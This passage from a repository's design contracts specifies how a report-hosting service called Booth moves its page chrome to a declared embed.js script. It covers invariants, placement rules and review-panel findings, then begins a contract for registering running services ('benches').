- "FRAGMENTS ARE STILL RENDERED BY JINJA, ONLY PLACED BY JAVASCRIPT. The payload carries server-rendered HTML from the EXISTING `_ask_inline.html` macros. Re-implementing the ask form in JavaScript would make two renderers of one truth, which is precisely the shape the repo's ONE-RESOLVER rule (CLAUDE.md invariant 3) was written to stop after the zoom view lost its captions. embed.js does DOM placement and nothing else: it never decides what a mark says, whether it is open, or what order marks come in."
- "PLACEMENT IS AN ANCHOR-FILL, NOT A REPLACEMENT, AND THAT IS A DELIBERATE CHANGE FROM TODAY. `_EL_RE` matches an author's opening tag and SUBSTITUTES it, so `<div class=\"ask\" data-booth-ask=\"dfa:logo\"><h3>The one asset that must survive</h3>` loses both the wrapper's class and -- visually -- its framing, leaving the author's heading orphaned and the closing `</div>` stray. That is live today on `dfa-concepts`. embed.js uses `el.insertAdjacentHTML('beforeend', frag)`: the author's element and its contents survive and the fragment lands inside, under the heading. Strictly closer to what the markup says, and it is the behaviour a DOM API gives for free."
- "`data-booth-mark` IS CANONICAL; `data-booth-ask` IS A KEPT ALIAS. U2 made an ask one shape of mark and the IA doc names the anchor `data-booth-mark`. But 2 of the 4 live verbatim booths use the `data-booth-ask` spelling, in the operator's own reports, so the selector accepts both -- one extra clause in one selector string. Same for `data-booth-mark-submit` / `data-booth-ask-submit`. Renaming without the alias would break a live report to save nothing."
- "THE HTML-COMMENT PLACEHOLDERS ARE DROPPED, NOT PORTED. `<!-- booth:ask stem -->` and `<!-- booth:ask-submit stem -->` have ZERO users across all 21 live booths. Walking comment nodes to keep them would be real complexity bought for nobody, in the unit whose entire point is deletion. A page that used one degrades to the append path -- the ask still renders, at the end -- so the never-invisible guarantee holds even for a caller we do not know about."
- "DEGRADATION WITH JAVASCRIPT OFF IS A REAL LOSS AND IT IS NAMED HERE. Today the verbatim path is zero-JS: an ask renders server-side and submits through a plain form. After this unit, no JS means no chrome on the report -- no ask, no way home, no icon. The guarantee that an ask is NEVER INVISIBLE survives in a weaker and still-true form, through surfaces that need no script: the index card carries the open-mark badge, and `/b/<name>/marks` renders every mark server-side. This is the cost of the operator's ruling, stated once so nobody meets it as a surprise."
- "EMBED.JS IS READ ONCE AT STARTUP, FOR THE REASON TEMPLATES ARE. Serving it from disk per request would give the service a third staleness rule, and a live asset editable under a running process is exactly what put 19 of 25 booths at 500 on 2026-09-21. One rule in this repo: nothing takes effect until you restart. INV-5 holds the line the same way `test_templates_do_not_hot_reload_from_disk` does."
- "THE PAYLOAD ENDPOINT DOES NOT RECORD A VIEW. `booth_view` already calls `record_view` above both early returns (U4), and `.viewed` is a deliberate look. A fetch issued by a script on a page that has ALREADY been recorded would double-count activity and reset the TTL on machinery rather than on the operator -- the same distinction the `.lock` exemption draws in `_newest_mtime`."
- "THE READ IS LENIENT AND THE STATUS STAYS 200, copied deliberately from `/b/{name}/marks.json`. A damaged `.marks.json` must not 500 the operator's report; it returns an `error` in the body and embed.js mounts the nav anyway. This is the v0.2.2 lesson and the posture every read path in this service already takes."
- "WRAP_MAX_BYTES SURVIVES UNCHANGED, at 8 MiB, with the same raw-FileResponse fallback. The work behind it is now trivial, but the READ is not: the largest live verbatim booth is 280 KB and a pathological one still should not be pulled into memory. A booth over the cap loses its chrome exactly as it does today -- no regression, and the constant keeps its existing test."
open_questions:
- "Whether `/_booth/embed.js` should eventually carry the gallery page's chrome too, making one embed for both surfaces. Out of scope: the gallery page is server-rendered end to end and has no seam problem to solve."
- "Whether a booth should be able to suppress injection entirely (a `.no-embed` dotfile) for a report that wants to be served truly untouched. No live booth wants it; declaring the line and then not using it is already most of the way there. Parked rather than designed."
---
# U3 — the declared embed seam
## The defect, stated precisely
A booth that ships its own `index.html` is served verbatim. That is the whole
promise of the verbatim path, and the Booth breaks it twice on the way out:
1. **`wrap_verbatim_html`** searches arbitrary author HTML with six regular
expressions — `_ICON_RE`, `_HEAD_CLOSE_RE`, `_HTML_OPEN_RE`, `_DOCTYPE_RE`,
`_BODY_CLOSE_RE`, `_HTML_CLOSE_RE` — to find somewhere to put a favicon and
somewhere to put a floating chip, while threading two constraints it cannot
verify: never put anything ahead of a leading doctype, and keep the charset
meta inside the first 1024 bytes.
2. **`booth/inline.py`** matches a placeholder DSL with four more patterns and
substitutes rendered HTML into the author's markup by string replacement.
Ten patterns, applied to documents the Booth did not write, does not parse, and
cannot validate. It works. It is also the single most fragile thing in the
service, and it is load-bearing for the operator's most important workflow.
The failure this invites is not a crash. It is a report that renders *slightly*
wrong — and there is a live specimen already. `dfa-concepts/index.html` writes:
```html
<div class="ask" data-booth-ask="dfa:logo"><h3>The one asset that must survive</h3>
```
`_EL_RE` matches the opening `<div …>` and replaces it. The author's `.ask`
wrapper class is gone, the `<h3>` is orphaned, and the `</div>` further down is
stray. Nobody filed a bug, because a page that is 95% right does not look broken.
## The seam
Operator ruling, 2026-09-21. A report carries one line:
```html
<script src="/_booth/embed.js" defer></script>
```
and the Booth mounts its chrome through real DOM APIs. Three consequences, and
the third is the one worth stating out loud:
- **A page that declares the line is served with nothing added to it.** Not
"one small injection" — nothing. The body is what the author wrote.
- **A page that does not declare it gets that one line appended at the end.**
A substring test and a concatenation; no pattern, nothing prepended, no
constraint to thread.
- **Both of `wrap_verbatim_html`'s hard constraints stop existing** rather than
being satisfied more carefully. You cannot displace a doctype you never move,
and you cannot push a charset meta out of the detection window by appending.
## What crosses the seam
`GET /b/{name}/embed.json` — server-rendered fragments, and nothing embed.js has
to decide for itself:
```json
{
"booth": "dfa-concepts",
"home": "/",
"favicon": "data:image/svg+xml,…",
"open": ["dfa"],
"marks": [
{
"id": "dfa",
"error": null,
"whole": "<div class=\"bk-ask\" …>",
"submit": "<div class=\"bk-ask\" …>",
"questions": [
{"key": "logo", "html": "<div …>"},
{"key": "display", "html": "<div …>"}
]
}
]
}
```
Every HTML string comes from the `_ask_inline.html` macros that render the same
fragments today. `open` is `open_marks(picks)` — computed once, server-side, and
never re-derived in JavaScript.
**A payload whose `.marks.json` could not be read has a stated shape**, because
an arm asked and the first draft did not say: `marks` is `[]`, `open` is `[]`,
`booth` / `home` / `favicon` are present as normal, and top-level `error` and
`detail` carry the verdict. Status stays 200, copied from `/marks.json` — a
pinned status code is a promise to remote clients, and the information goes in
the body instead. The nav mounts; nothing else does. A per-mark `error` is a
different thing: that is ONE unreadable pick inside a file that read fine.
**`questions` is a LIST, and `key` may be `null`.** This is not a style choice.
A single-question pick normalizes to `questions: [{"key": None, …}]`
(`asks.normalize_ask`), so a JSON object keyed by question key would serialize
that key as the string `"null"` — inventing a name that collides with a real key
and that JavaScript would have to translate back. A list also carries declaration
order in the format itself rather than leaning on object-key insertion order.
A `null` key matches no anchor spec, which is correct and is exactly what
`place` does today: a single-question pick is addressed as a whole or not at all.
Found by the seam review; see SR-2.
## How the script learns which booth it is on
**The find of the contract-review round, three arms independently**, and the one
gap that made the rest unimplementable as first written: the declared line is
byte-identical for every booth, the payload endpoint needs `{name}`, and the
name arrives *inside* the response the fetch needs the name to make.
The rule, stated once:
> **The booth name is the second path segment of the page's own address.** A
> verbatim report is served at `/b/<name>/`, so `embed.js` reads
> `location.pathname`, takes segment 2, and `decodeURIComponent`s it. A page
> whose address is not `/b/<name>/...` mounts nothing and returns quietly.
>
> **Override:** a `<script data-booth="...">` attribute wins if present. The
> Booth never writes one — the appended tag is exactly the documented line — but
> an author embedding a report elsewhere needs a way to say so, and one optional
> attribute is cheaper than a second endpoint.
This makes the URL grammar part of the public seam, which is the honest reading:
an author who writes the line is relying on where the Booth serves them, and
that should be written down rather than inferred.
## The placement algorithm
The same algorithm `inject_asks` runs today, expressed against a DOM instead of
a string. It is written out here because it is the part that moves languages,
and a reviewer has to be able to check the two against each other.
```
placed : Map<markId, Set<key | WHOLE>>
submitted : Set<markId>
1. every element matching
[data-booth-mark], [data-booth-ask] -- in document order
spec -> (id, key?) by splitting on the first ":"
mark unknown -> leave the element ALONE (a typo stays visible)
key absent -> mount whole; placed[id] += WHOLE; submitted += id
key names no question -> leave the element ALONE
key present -> mount question; placed[id] += key
2. every element matching
[data-booth-mark-submit], [data-booth-ask-submit]
mark unknown -> leave alone
otherwise -> mount submit; placed[id] ||= {}; submitted += id
3. tail, appended to <body> in payload order. THE ARROWS ARE EXCLUSIVE, NOT
CUMULATIVE -- first match wins and the mark is done. An arm read them as
four independent tests, under which one unplaced mark would mount its whole
form AND every question AND a submit block; the notation allowed it and the
prose did not forbid it:
if id not in placed: append whole; NEXT MARK
elif mark.error: append nothing; NEXT MARK
else:
if WHOLE not in placed[id]: append every question not in placed[id]
if id not in submitted: append submit (scattered, still submittable)
4. re-associate: for every control carrying form="…", remove and re-set the
attribute, so its form owner is resolved after all fragments are in place.
5. chip: if `open` is non-empty, link it to the FIRST element in document order
whose id is EXACTLY `bk-ask-<open[0]>` or begins `bk-ask-<open[0]>-`.
A bare prefix match would send the chip to `bk-ask-batch2-r1` for the mark
`batch`, or to an author's own element -- flagged by a cold arm, and the
trailing hyphen is what rules it out.
Two more rules the first draft left to the selector rather than stating:
- **An element carrying BOTH `data-booth-mark` and `data-booth-ask` uses the
canonical one.** The alias exists for reports written before the rename, not
to double a mount.
- **A submit anchor's spec is its stem; any `:key` on it is IGNORED.** There is
no per-question submit block — one pick has one `<form>`, which is the whole
reason the `form=` binding exists.
```
**`mount` is `el.insertAdjacentHTML('beforeend', frag)`** — the anchor element
and its existing contents survive; the fragment lands inside. See the assumption
on anchor-fill for why this is a deliberate change and not an accident.
**Step 4 is measured, not assumed.** Chromium 151 resolves a control's form owner
correctly even when the control is inserted before its `<form>`: a probe run
2026-09-22 (N=3 per condition, with a form-first positive control and a
points-at-nothing negative control) returned `F, F, F` for control-first and
`null, null, null` for the negative. So the pass is *not* needed in Chromium.
It is three lines, it costs nothing, and the sensitivity floor of that probe is
**one engine** — the operator's own browser was not measured. The failure it
guards against is a form the operator fills in whose controls reach no form,
so the button does nothing.
**Step 5 deletes an element.** Today `inject_asks` injects `<a id="bk-ask-<id>-top">`
before the first fragment of each pick so the chip has somewhere to jump. The
fragments already carry ids; document order in a live DOM is directly queryable;
the extra anchor is not needed.
## Invariants
Each is falsifiable by a change that a test must catch going red. The
*Falsifiable:* line names that change — not a test that merely mentions the
invariant. (Five of seven U4 falsifiers were vacuous; see
`persistent-memory.d/2026-09-22-vacuous-falsifiers.md`.)
**INV-1 — A page that declares the seam is served BYTE FOR BYTE.**
The response body for a verbatim booth whose `index.html` contains
`src="/_booth/embed.js"` (either quote style) is exactly the bytes on disk.
⚠ **Bytes, not text, and that is a correction.** The first implementation read
with `read_text()`, which opens in universal-newline mode: a CRLF report came
back LF, and `errors="replace"` turned any non-UTF-8 byte into U+FFFD. A
declaring page was NOT served as its author wrote it — the headline promise —
and the test could not see it, because its fixture was LF-only ASCII. The file
is decoded only to ask whether it declares the seam; what goes on the wire is
the original bytes. A page that only mentions the path is NOT declaring it — see the
conditional-append assumption for which way that has to fail.
*Falsifiable:* append anything — a chip, a comment, a newline — to the declaring
branch's response and `test_declaring_page_is_served_untouched` fails on a
whole-body equality, not on a substring absence.
**INV-2 — A page that does not declare the seam, AND IS UNDER `WRAP_MAX_BYTES`,
is mutated exactly once, at the end.** The response is the source BYTES plus
`EMBED_SCRIPT_TAG`'s bytes and nothing else, with the source a byte-exact
prefix of it.
⚠ **The size cap is an explicit exception, not an oversight** — two cold arms
read the invariant's universal wording against the raw-`FileResponse`
assumption and found them prescribing different responses for the same page. An
over-cap page is mutated ZERO times and loses its chrome, exactly as it did
before this unit.
*Falsifiable:* insert the tag before `</head>` instead of appending, or add the
favicon link back, and `test_undeclared_page_gains_only_the_tag` fails the
prefix assertion. The exception has its own test,
`test_an_oversize_verbatim_page_is_served_raw`, which fails if the append starts
firing above the cap.
**INV-3 — No regular expression is applied to author HTML.**
The verbatim branch of `booth_view` performs two `in` tests and one `+`.
⚠ **The first draft of this falsifier was VACUOUS and three arms caught it.**
It name-matched the six deleted patterns, so reintroducing the same regex under
a new name — `_TAIL_RE`, applied in the verbatim branch — left the test green,
on this contract's central promise. Worse, this repo's own vacuity pass missed
it, because the mutation it tried was the named one: **a vacuity pass is only as
good as the mutation it picks, and picking the one the contract names is how it
agrees with itself.**
*Falsifiable:* `test_no_regex_touches_author_html` walks the AST of
`booth/app.py` and asserts the module performs **exactly one** regex operation
— `ask_form_id`'s `re.sub` over a mark id, which is not a page — plus that
`booth/inline.py` does not exist. Any regex anywhere in the module, under any
name, fails it. Verified by mutation: a renamed `_TAIL_RE.sub` in
`embed_verbatim` goes red, and the unmutated control stays green.
**INV-4 — The payload is the only source of what a mark says.**
embed.js never decides openness, order, or content. `open` comes from
`open_marks`; `marks` order is `marks_for` order; `questions` order is
declaration order.
*Falsifiable:* the claim ranges over three things and so does the check.
**Openness:** have embed.js derive open marks from a `bk-done` class and
`test_the_chip_count_comes_from_the_server` fails on a half-answered pick, which
`open_marks` calls open and the rendered state does not. **Order:** reverse the
tail iteration and `test_the_tail_follows_payload_order` fails. **Content:** the
fragments are strings the page never authors, which
`test_every_piece_the_author_can_place_is_offered` pins on the server side.
**INV-5 — `/_booth/embed.js` is read once at startup.**
*Falsifiable:* change the route to `read_text()` per request and
`test_embed_js_does_not_hot_reload_from_disk` fails — it mutates the file on
disk after the app is built and asserts the served body is unchanged.
**INV-6 — Every ordered collection this unit renders has a stated rule.**
Anchors are visited in **document order** (`querySelectorAll`). The tail is
appended in **payload order**, which is `(created, id)` — the rule `marks_for`
and `hold_read` both sort by, stated here as the rule rather than as one
function's name. Questions
within a mark are in **declaration order**. The chip targets the **first element
in document order** whose id starts with the open mark's prefix.
*Falsifiable:* sort the tail by anything else — id, key, insertion — and
`test_tail_order_is_payload_order` fails against a fixture whose creation order
and id order disagree.
**INV-7 — Every question of every READABLE pick reaches the document, on a
page that runs the script.** Either placed at an anchor or appended, and every
pick with a placed question has a submit block.
⚠ **Two qualifiers, both added because arms read the first wording literally and
were right.** *Readable*: a pick carrying `error` has no questions to place —
`marks._hydrate` gives it an empty list — so the tail mounts its broken-ask box
and stops, and an unqualified "every pick" would have demanded placement the
algorithm forbids in exactly the damaged-data case the leniency posture exists
for. *Reaches the document*, not "is visible": the Booth cannot police an author
who hides their own anchor, and a guarantee that claimed to would be unenforceable
rather than strict.
*Falsifiable:* drop the "append the questions the author did not place" branch
and `test_partially_marked_page_still_shows_every_question` fails in the browser
with 2 of 4 radio groups present.
## Out of scope (deferred or never)
Named so a reviewer does not read them as drift.
- **The gallery page's chrome.** Only a booth's own `index.html` is served
verbatim; every other surface is server-rendered end to end and has no seam
problem. `/_booth/embed.js` is not loaded there and is not meant to be.
- **Re-rendering an ask in JavaScript.** The payload carries server-rendered
HTML and embed.js places it. A JS renderer would be a second renderer of one
truth — the bug the repo's one-resolver rule exists to stop.
- **A no-JavaScript fallback on the verbatim path.** The operator's 2026-09-21
ruling accepts the script dependency. The never-invisible guarantee degrades
to surfaces that need no script (the index card's badge, `/b/<name>/marks`),
and that is the stated cost, not an oversight to be fixed here.
- **The HTML-comment placeholders** `<!-- booth:ask … -->`. Zero users across
all 21 live booths; dropped rather than ported. A page that used one falls
back to the append path, so its ask still renders.
- **`_ask_inline.html`'s dead `standalone=False` macro parameter.** No caller
has passed `True` since U2 turned the standalone asks page into a 308.
Deleting it is tidy-up and changes a macro signature for no behavioural gain.
- **`base.html`'s literal duplicate of the favicon data URI.** It predates this
unit. The payload reads `FAVICON_HREF`, so this unit adds no third copy; it
does not remove the second.
- **`WRAP_MAX_BYTES` and its raw-serve fallback.** Unchanged at 8 MiB. A booth
over the cap loses its chrome exactly as it did before — no regression, and
the constant keeps its existing test.
- **`GET /b/<name>/asks`.** Already a 308 into `/marks` since U2. Left alone:
the URL is in the operator's history and in landed reports.
- **Pushing, and the version bump tier.** Minor needs the operator's approval.
## Slices
| # | slice | red→green on |
|---|---|---|
| 1 | `GET /b/{name}/embed.json` — payload shape, order, leniency, no view recorded | payload tests; existing 410 stay green |
| 2 | `GET /_booth/embed.js` — served from a startup read, ETag, no hot reload | INV-5 |
| 3 | the verbatim branch rewritten; `inject_asks` and `wrap_verbatim_html` deleted | INV-1, INV-2, INV-3 |
| 4 | `booth/static/embed.js` — nav, favicon, styles, no marks yet | browser: chip present, icon set, declaring page untouched |
| 5 | placement: anchors, tail, submit, re-association | browser: INV-4, INV-6, INV-7; the live `dfa-concepts` and `sindra-voice-1` shapes as fixtures |
| 6 | delete `inline.py`; retire the six tests that test the deleted mechanism; docs | suite green, IA doc and ROADMAP updated |
## Seam review
The sibling-aware pass, run in-session against the real module surfaces rather
than against the sibling contracts' prose. `/heid-contract-review` is
artifact-only by design and structurally cannot see `booth/marks.py`, so this is
the only gate that can check what the contract borrows from it.
| # | finding | disposition |
|---|---|---|
| **SR-1** | The order invariant named `marks_for`'s ordering. The route actually reads through `hold_read` — one read answering both "what is here" and "can it be read", per the TOCTOU lesson — and only falls back to `marks_for` on the error path. Both sort `(created, id)`, so the contract was not wrong, but it named a function where it meant a rule. | **Amended.** INV-6 states the rule. The route's reader is named in the payload section. |
| **SR-2** | **The payload shape was wrong.** `questions` as a JSON object keyed by question key breaks on a single-question pick, whose only question has `key: None` (`asks.normalize_ask`, the `multi: False` branch) — `json.dumps` writes that key as the string `"null"`. Every one-question ask in the fleet hits it, including the live `sindra-voice-1`. | **Scope fix.** `questions` is a list of `{key, html}`; `key` is nullable; declaration order is carried by the format. `booth.asks.normalize_ask` added to `depends_on`. |
| **SR-3** | `inline.form_id` was inside the module the contract deletes entirely, but it is not placement machinery — it builds the shared `<form>` id the question fragments bind to with `form=`. Deleting the module as written would delete the fragments' ability to submit. | **Scope miss.** `form_id` moves to `booth/app.py`; `touches` says so. |
| **SR-4** | A FLAG mark's id is literally `flag:<target>` (`marks.flag_id`) — it contains the separator the anchor spec splits on. It never reaches the payload only because the payload filters `shape == "pick"`, and pick ids are `valid_stem`-checked (no colon). | **No change, stated.** The filter is load-bearing, not incidental; a later widening of the payload to all shapes would break the split rule silently. |
| **SR-5** | `_ask_inline.html`'s `question(a, q, form_id, name_url, standalone=False)` has had no caller passing `standalone=True` since the standalone asks page became a 308 in U2. Dead parameter on a macro this unit edits. | **Out of scope, noted.** Deleting it is tidy-up, not this unit's work, and it changes a macro signature for no behavioural gain. |
## Contract review — the cold panel
`/heid-contract-review`, four arms, dispatched `01M351WKV666D681SSRNY7D7X6`.
Triaged per the cross-frontier discipline: adopted on merits, not on authority.
| # | finding | arms | disposition |
|---|---|---|---|
| **CR-1** | **The seam never tells `embed.js` which booth it is on.** The declared line is byte-identical for every booth, the payload endpoint needs `{name}`, and the name arrives inside the response the fetch needs it to make. Every other section depends on this unstated hop. | 3 of 4, independently | **Genuine add, and the round's headline.** The code already derived it from `location.pathname`; the CONTRACT did not say so, which makes a "public API" whose discovery mechanism is unspecified not fully one. New section: *How the script learns which booth it is on*. No code change. |
| **CR-2** | **INV-3's falsifier was vacuous** — it name-matched the six deleted patterns, so a renamed regex applied to the page body kept it green, on this contract's central promise. | 3 of 4 | **Genuine add, and a CODE-side fix.** The test now asserts `booth/app.py` performs exactly one regex operation anywhere in the module. Verified by mutation in both directions. The lesson is sharper than the fix: **this repo's own vacuity pass missed it because it tried the mutation the contract named** — a pass that picks the named mutation agrees with itself. |
| **CR-3** | **Declaration by bare substring fails in the dangerous direction.** A report that merely mentions `/_booth/embed.js` — a code sample, a comment — counted as declaring it and was served with no chrome at all, silently. | 3 of 4 | **Genuine add, CODE-side.** Detection now requires `src="…"` (either quote style), which fails toward a harmless duplicate tag instead. New test covers prose, comment and `?v=2` spellings. |
| **CR-4** | **INV-2 and the size cap prescribe different responses** for an over-cap non-declaring page, and neither the invariant's wording nor a named falsifier carved the exception. | 2 of 4 | **Genuine add.** INV-2 now states the cap as an explicit exception and names the test that holds it. Code and test were already right. |
| **CR-5** | **The tail's four arrows read as independent tests**, under which one unplaced mark mounts its whole form AND every question AND a submit block. | 1 | **Genuine add.** The notation allowed it and the prose did not forbid it. The block is now explicit if/elif/else. Code was already exclusive. |
| **CR-6** | **INV-7 quantified over picks the algorithm filters** (errored picks) and over "visible", which placement cannot guarantee. | 2 of 4 | **Genuine add, wording.** INV-7 is now scoped to READABLE picks and claims *reaches the document*, not *is visible*. |
| **CR-7** | The chip's prefix rule can select `bk-ask-batch2-r1` for mark `batch`, or an author's own element. | 1 | **Sharpening.** The code always matched exactly-or-hyphen; the contract said "starts with". Wording fixed, and `test_the_chip_does_not_jump_to_a_mark_that_merely_shares_a_prefix` now holds it. |
| **CR-8** | Precedence undefined when one element carries both attribute spellings; submit-anchor key handling unstated. | 1 | **Sharpening.** Both stated; `test_the_canonical_attribute_wins_when_both_are_present` added. |
| **CR-9** | The damaged-`.marks.json` payload shape was never stated — per-mark `error` was the only error shown. | 1 | **Genuine add, wording.** Stated in *What crosses the seam*. Test already existed. |
| **CR-10** | "INV-1" names two different obligations — this contract's untouched-page rule, and the repo's one-resolver rule the assumptions cite. | 1 | **Genuine add, wording.** The assumptions now name CLAUDE.md invariant 3 explicitly. A real collision: the local falsifier goes red on an added newline and stays green if embed.js becomes a second renderer. |
| **CR-11** | INV-4's falsifier covered openness while the invariant claimed openness, order AND content. | 1 | **Sharpening.** The falsifier now names a test per clause. |
| **CR-12** | `html.questions` keyed by question name vs the top-level `questions` list — which is authoritative? And INV-4 naming `marks_for`'s order while INV-6 fixed `(created, id)`. | 2 | **Settled before the reply landed.** The in-session seam review collapsed both (SR-1, SR-2) while the panel was in flight. Independent convergence on the same two spots — worth recording, not re-fixing. |
**One arm's finding not adopted**, and the reason: that a question mounted into
an author-hidden anchor is still invisible. True, and out of reach — the Booth
cannot police an author hiding their own markup. Answered by narrowing INV-7's
claim rather than by chasing actual visibility (CR-6).
**Methodology note the panel raised on its own**, relayed by heid: 5 of 8 arms
across two unrelated callers the same evening independently proposed promoting
the end-to-end seam-walk from a conditional deliverable to a mandatory one.
CR-1 is a direct product of that exercise. Recorded here as evidence; the skill
change is the operator's call, not this repo's.
## Bug hunt — the cold panel
`/heid-bug-hunt`, four arms, artifact-only over the merge-base diff, dispatched
`01M352TPCSN52G6NGJ07T5WSGY`. ⚠ **The snapshot predates the contract-review
fixes**, so two of its findings were already closed when the reply landed; the
arms flagged the staleness themselves.
| # | finding | arms | disposition |
|---|---|---|---|
| **BH-1** | **A declaring page was NOT served as written.** `read_text()` opens in universal-newline mode, so a CRLF report came back LF, and `errors="replace"` replaced any non-UTF-8 byte. The headline promise, broken by the read itself — and invisible to a test whose fixture is LF-only ASCII. | 1 | **Genuine add, and the best finding of the round.** The verbatim branch reads and serves BYTES; the decoded copy answers only "does it declare?". INV-1 and INV-2 now state the byte-level promise, with a CRLF-plus-invalid-byte fixture. |
| **BH-2** | **A submit anchor inside the author's own `<form>` loses ours** — the HTML parser drops a nested form outright. Every control's `form=` then points at nothing, and the code recorded the pick as submitted so the tail added no fallback. The operator fills it in and the button does nothing. | 1 | **Genuine add.** A submit anchor counts as submitted only if the form actually survived (`hasForm`); otherwise the tail supplies one at body level, where no form encloses it. |
| **BH-3** | **A broken pick's diagnostic never rendered from a submit-only anchor.** An errored pick's `submit` is empty; mounting that and marking it placed made the tail skip it, so the "broken ask" box vanished from the one surface built to show it. | 3 of 4 | **Genuine add.** A submit anchor for an errored pick is left alone, exactly as an anchor naming no mark is, and the tail mounts the diagnostic. |
| **BH-4** | **An author's own element can hijack the chip.** `<section id="bk-ask-winner-background">` satisfies any id-prefix rule — the hyphen boundary from CR-7 included. | 4 of 4 | **Genuine add, and it supersedes CR-7's fix.** The chip now searches only the elements THIS SCRIPT MOUNTED, which is the identity the deleted `bk-ask-<id>-top` anchor used to guarantee, and takes the earliest of those by `compareDocumentPosition`. |
| **BH-5** | **No error boundary around fragment rendering.** A `.marks.json` that is well-formed JSON with a wrong-shaped `answer` hydrates with no error and then raises in the macro. | 1, `needs-repro` | **Genuine add — reproduced before building for it.** `_safe_fragments` returns a per-mark error record, the same leniency `_hydrate_safe` applies one layer down. ⚠ **The gallery and marks pages still 500 on it, and that is PRE-EXISTING** — measured at `42ea67f`. Out of scope here and recorded rather than quietly widened: `persistent-memory.d/2026-09-22-a-wrong-shaped-answer-500s-the-gallery.md`. **CLOSED 2026-09-22**, after U6, at the hydration boundary rather than by a third copy of this guard — so `_safe_fragments` no longer has a reachable natural trigger and is now a pure backstop, falsified synthetically. Hardening the falsifier found that this guard's own fallback re-rendered through the macro module that had just raised, so it re-raised whenever `whole` was the broken thing; fixed in the same pass. |
| **BH-6** | Prototype pollution in the placement maps (`toString` as a mark id, `constructor` as a question key). | 1 | **Already fixed this round** as CR-13, from the code-review panel. Two panels, two lenses, the same defect independently — the strongest signal of the evening that the lenses are not redundant. |
| **BH-7** | Bare-substring declaration suppresses the chrome. | 4 of 4 | **Already fixed** as CR-3, before the reply landed. |
**One correction the panel made to this repo's own prose, adopted:** several
comments claimed a multi-question pick POSTs a 400 unless every question is
answered. It does not — `test_empty_submission_is_refused_with_400` refuses a
WHOLLY EMPTY submission, and a partial answer is accepted and recorded on
purpose. The real reason an unplaced question must still be appended is simpler
and was being obscured: **a question that never reaches the page cannot be
answered at all.** Fixed in `embed.js`, the browser tests and this contract.
**Not adopted:** the bundle's framing called the service Flask. It is FastAPI;
the arm noticed and declined to reason from it, which is the right handling.
## Vacuity pass — final
21 mutations, each drawn from an invariant's CLAIM rather than its falsifier's
example, each run against its named test, plus an unmutated control run.
**21/21 caught, control green.**
The pass earned its place three times over and none of them was the first run:
1. It reported **7/7** before the contract panel, which then showed INV-3 was
vacuous — because the mutation applied was the one the contract named.
2. Re-run **against that fix**, it found the fix's own hole (an aliased
`import re as _r`).
3. Re-run after the bug-hunt fixes, it reported seven **MUTATION-MISS** rows —
its loud-failure mode, firing correctly because the fixes had moved the code
out from under stale mutations — and then one genuine **VACUOUS**: the
sibling-mark chip test had its fixture arranged so the right answer was also
the first answer. Rewritten so the sibling comes first, which is the only
arrangement that can tell the two implementations apart.

contract_version: "1.0"
module: "booth.benches"
purpose: "A bench is a running thing, registered -- not a booth, and not a bookmark. The standing link board absorbed all three jobs because only one of them had a surface, and it now carries 221 rows of which 178 (80%) are booth announcements and 156 (71% of the whole board) point at booths that were swept. U5 gave the booth announcement a home; this unit gives the RUNNING SERVICE one, and closes the loop by refusing the one shape that now has somewhere better to go. Identity is the normalized URL, so re-announcing a bench UPDATES its row instead of appending a fifth -- `talk` is on the board five times and Peedlar's root three. Nothing on the board is deleted by this unit: the dead rows are MARKED so the operator can see and remove them with the bulk control that already exists."
depends_on:
- "booth.links (`booth_target` is DEFINED here and consumed there -- see INV-2. The board's existing parse/remove/pin machinery is untouched: rows keep their content-hash identity, `links.md` stays an O_APPEND multi-writer log, and no row is rewritten by anything this unit adds.)"
- "booth.app (the dead-row marker needs a booth-exists predicate. IT CANNOT USE `resolve_booth`: that is a CLOSURE inside `create_app`, not importable, and it RAISES HTTPException(404) -- calling it per row would turn one swept booth into a 404 for the whole board page, which is the opposite of the marker's purpose. The marker gets its own non-raising predicate carrying the SAME name-safety rules (no leading dot, no separator, no `..`) and returning False where `resolve_booth` raises. A row is dead when its target directory is absent, not when its target is nearly expired -- no new lifetime arithmetic. Verified against the real function, not assumed: seam review SR-2.)"

assumptions:
- "IDENTITY IS THE FULL NORMALIZED URL, NOT THE ORIGIN, AND THIS WAS MEASURED RATHER THAN CHOSEN. Collapsing the board's 43 non-booth rows by origin yields 19 groups; by full URL, 35. The 16-group difference is not duplication -- it is EIGHT distinct gitea repositories merged into one row, THREE unrelated HuggingFace model cards merged into one, and the two LRPG surfaces on `10.100.10.50:8321` (`Authoring Studio.dc.html` and `GM Playback.dc.html`) merged into one, which are the IA doc's own example of two real benches. Origin identity would have destroyed more than it deduplicated. Full-URL identity still collapses both cases the IA doc named: `talk` 5 rows to 1, Peedlar's root 3 to 1."
- "THE QUERY STRING IS PART OF THE IDENTITY, the fragment is not. Measured: three ShutterChute rows differ ONLY by `?token=`, and they are three genuinely different one-shot links, not one bench posted three times -- dropping the query would merge them into a bench that is none of them. A fragment is a position inside a page, never a different resource, so it is dropped. Userinfo (`user:pass@`) is REFUSED rather than stripped: a credential must not reach a board that renders on an unauthenticated LAN surface, and silently stripping it would register a bench whose URL no longer works while telling the poster it succeeded."
- "`booth_target` IS HOST-AGNOSTIC AND PATH-SHAPED. A row is a booth link when its path is `/b/<name>` or `/b/<name>/...`, whatever the host. NOT a host allowlist: the fleet reaches this service as `10.100.10.50:8090`, `localhost:8090` and `nh3-dev.nh3.internal:8090`, and an allowlist would silently fail to refuse from whichever name somebody used next -- a rule that fails OPEN on the exact case it exists to catch. The accepted cost is that a third-party URL with a `/b/<x>` path would be misread; the failure is visible (a refusal naming the reason, or a row marked dead) rather than silent, and no such URL exists on the board today."
- "NOTHING THIS UNIT SHIPS DELETES A ROW. ROADMAP names 'a migration that deletes anything' as explicitly not in v1. `links.md` is archived verbatim before the registry is seeded, the import writes nothing without `--apply`, and the 156 dead rows are MARKED, not pruned -- removal stays the operator's two deliberate clicks through the `unlink-many` control that has existed since before this unit. The marker is what makes the existing control usable at 221 rows; it is not a second delete path."
- "THE SERVICE NEVER PROBES THE NETWORK. `read_benches` is a filesystem read on the render path, exactly like `read_manifest` and `marks_for`. A bench's liveness is not checked by this unit at all -- see Out of scope, where the decision and its reversal cost are stated."
